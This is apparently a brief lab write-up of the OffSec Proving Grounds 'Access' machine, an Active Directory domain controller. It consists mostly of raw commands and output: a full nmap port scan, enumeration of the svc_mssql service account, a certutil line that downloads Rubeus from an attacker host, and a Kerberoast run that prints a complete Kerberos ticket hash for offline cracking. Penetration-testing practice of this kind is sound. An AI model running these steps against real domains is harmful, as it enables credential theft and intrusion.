## Access Proving Grounds

```
nmap --min-rate 1000 -Pn -p- -vvv 192.168.163.187
```

```
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack
80/tcp    open  http             syn-ack
88/tcp    open  kerberos-sec     syn-ack
135/tcp   open  msrpc            syn-ack
139/tcp   open  netbios-ssn      syn-ack
389/tcp   open  ldap             syn-ack
445/tcp   open  microsoft-ds     syn-ack
464/tcp   open  kpasswd5         syn-ack
593/tcp   open  http-rpc-epmap   syn-ack
636/tcp   open  ldapssl          syn-ack
3268/tcp  open  globalcatLDAP    syn-ack
3269/tcp  open  globalcatLDAPssl syn-ack
5985/tcp  open  wsman            syn-ack
9389/tcp  open  adws             syn-ack
49666/tcp open  unknown          syn-ack
49668/tcp open  unknown          syn-ack
49673/tcp open  unknown          syn-ack
49674/tcp open  unknown          syn-ack
49677/tcp open  unknown          syn-ack
49706/tcp open  unknown          syn-ack
```

## priv esc

```
PS C:\temp> get-netuser svc_mssql


company                       : Access
logoncount                    : 1
badpasswordtime               : 5/24/2024 7:33:28 PM
distinguishedname             : CN=MSSQL,CN=Users,DC=access,DC=offsec
objectclass                   : {top, person, organizationalPerson, user}
lastlogontimestamp            : 4/8/2022 2:40:02 AM
name                          : MSSQL
objectsid                     : S-1-5-21-537427935-490066102-1511301751-1104
samaccountname                : svc_mssql
codepage                      : 0
samaccounttype                : USER_OBJECT
accountexpires                : NEVER
countrycode                   : 0
whenchanged                   : 7/6/2022 5:23:18 PM
instancetype                  : 4
usncreated                    : 16414
objectguid                    : 05153e48-7b4b-4182-a6fe-22b6ff95c1a9
lastlogoff                    : 12/31/1600 4:00:00 PM
objectcategory                : CN=Person,CN=Schema,CN=Configuration,DC=access,DC=offsec
dscorepropagationdata         : 1/1/1601 12:00:00 AM
serviceprincipalname          : MSSQLSvc/DC.access.offsec
givenname                     : MSSQL
lastlogon                     : 4/8/2022 2:40:02 AM
badpwdcount                   : 1
cn                            : MSSQL
useraccountcontrol            : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
whencreated                   : 4/8/2022 9:39:43 AM
primarygroupid                : 513
pwdlastset                    : 5/21/2022 5:33:45 AM
msds-supportedencryptiontypes : 0
usnchanged                    : 73754
```

upload rubeus.exe

```
certutil -urlcache -f http://<ip>/rubeus.exe rubeus.exe
. .\rubeus.exe kerberoast /nowrap
```

```
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0


[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.

[*] Target Domain          : access.offsec
[*] Searching path 'LDAP://SERVER.access.offsec/DC=access,DC=offsec' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2
.840.113556.1.4.803:=2)))'

[*] Total kerberoastable users : 1


[*] SamAccountName         : svc_mssql
[*] DistinguishedName      : CN=MSSQL,CN=Users,DC=access,DC=offsec
[*] ServicePrincipalName   : MSSQLSvc/DC.access.offsec
[*] PwdLastSet             : 5/21/2022 5:33:45 AM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*svc_mssql$access.offsec$MSSQLSvc/DC.access.offsec@access.offsec*$441BC95207CD892B80696728A9786310$217E9F11E7B322C43EE7423A26FAE6820E63F6C828B024C632EE9D57F971AD3E412D0C5A887137165C91DCDD322838A949FD306B0B05FF7419886373920015E7FADDF13DE046D72F315FF41C8DB62B136099D8A1FBA46222C26330597EC77F8880B7E685FC059B438943868B8121C5D7DC22842D8BB69F29CF37B80C7152B6A0CE77F83EF608436E24CC30B2B4C6A7A53AE581D466DF8A727B71133C4CCE5A22BC8081303B787611CAE26AD6D85837879CDD385DF5F1C0ACB7E49AC069FC0DB0534617DB1CD22776B9C3A2AB3D44CDD4187A3740DD6BCA959011808643CBC22F602EAB7F2492C78BB452C5BA090B3B112E2092241CF61BF131EF1CA763DC68019A56E405900AC916F0FA81CC722F6F167F0038FEF50570B0711A99B277382550D3C1CA80F6F13301448AEDAD85B47D07B2948FE7E05E5F27828793520696A8D8DC87C8772D353BDFD2B844823F63B69540F405BDDC343B99ACA1CE0D4E4637366C30A21D653AFDEA06A231B3FD400C049E7C2EFED7AB8F35C303EBADE0BC2BE5F59462A0529894A735A29F20FB00BE34312A5751346049A16C1B33BD4D35019786530 8AFEFCA4CC775633D557746356D923EAA3A83B60CF31689514B7348D540E8E4EDAA3D469510BE5D2363A9E902252E32946E9F822AB465C557DF0C0C6CCAC58CC1A5D0E283EADFEB620FB619AF8DE72F913DF947C09123D44AB0D0C0BCBE1C9FBFA4F485B448F1C961EC05CC9F7BB9E8FE23829AC7BD3885351D1447F940EFDB58DBEDAE4B72755A5333D488405061129 6FF67EE4F4C342312 03A8E616B9EFE8317F6794E453F43B707E4563D8698EC8740EDE3176F1A336A09968E5F4F35D280B3E7550DC6B3EE7C9C9B69F81924AE0278CDDE9AD940CE531F1CAC6EB3ED9488FF72FBB39007235B1B58BCC4CE737B487424D98A635BC69C99F230DB81DE62BCF74E0403C2AA2B12B3BDDF72C9A197FE5548C03D0E4BDC1B428887131F09A6EBB53C1E59C655467142E6D7AF56E931B74475E0DD78F409CD6CBC75246B3643AE343F1B05113FE9BB79F297241D09BDE6B480C2E98F33983D1DC80AC15EBE68A9D7CD941679FE6F049A2BBC9A7BCBDCEC24C943A56A4BB1D0E282A9FBC31712D72024F04713FC253D03B7AFAC361095110FC0F4A1E5C497AE8A668BD56F9E6F21B7B8BA32BD6FE01615D75EADC218F690FE0054F2F094BF953FCF420240714DA592A187DA732BE12DBF7328C175511E1DA8C4522E8D2B9F1F680B2003E1B979CBD0C489AC602FA97E5F5D31839E08235CA0690BA311B04D9D7FFAC7555E900FE121A44B15944091D61AC59FF107C7A45B8B6780D25B527D9245EBE9C8F56DA0E951FF0760539FD6D687004DEAB0A7800CBAC4236CB281341A3CDD1C8C104A66BE40B025B440CAE72F17729BC01F68E603C8A57A449EA5A307C85DB2107F022646900D2818AF448D7B7FADAFB9BEDC1D639A8F71754E35C793973CA333434F4F05CE5BDC1DA3D28F6BE772A3C0EDD5BBF3E8AC338FF464F8863680940 1918EA3DC950D6E9E9EA2D1B6F32736DA4B39545D4006AE972D8C9DDF1B0E653DA738A9675125FA6F7EBE494BC7B97C8580FDD8C
```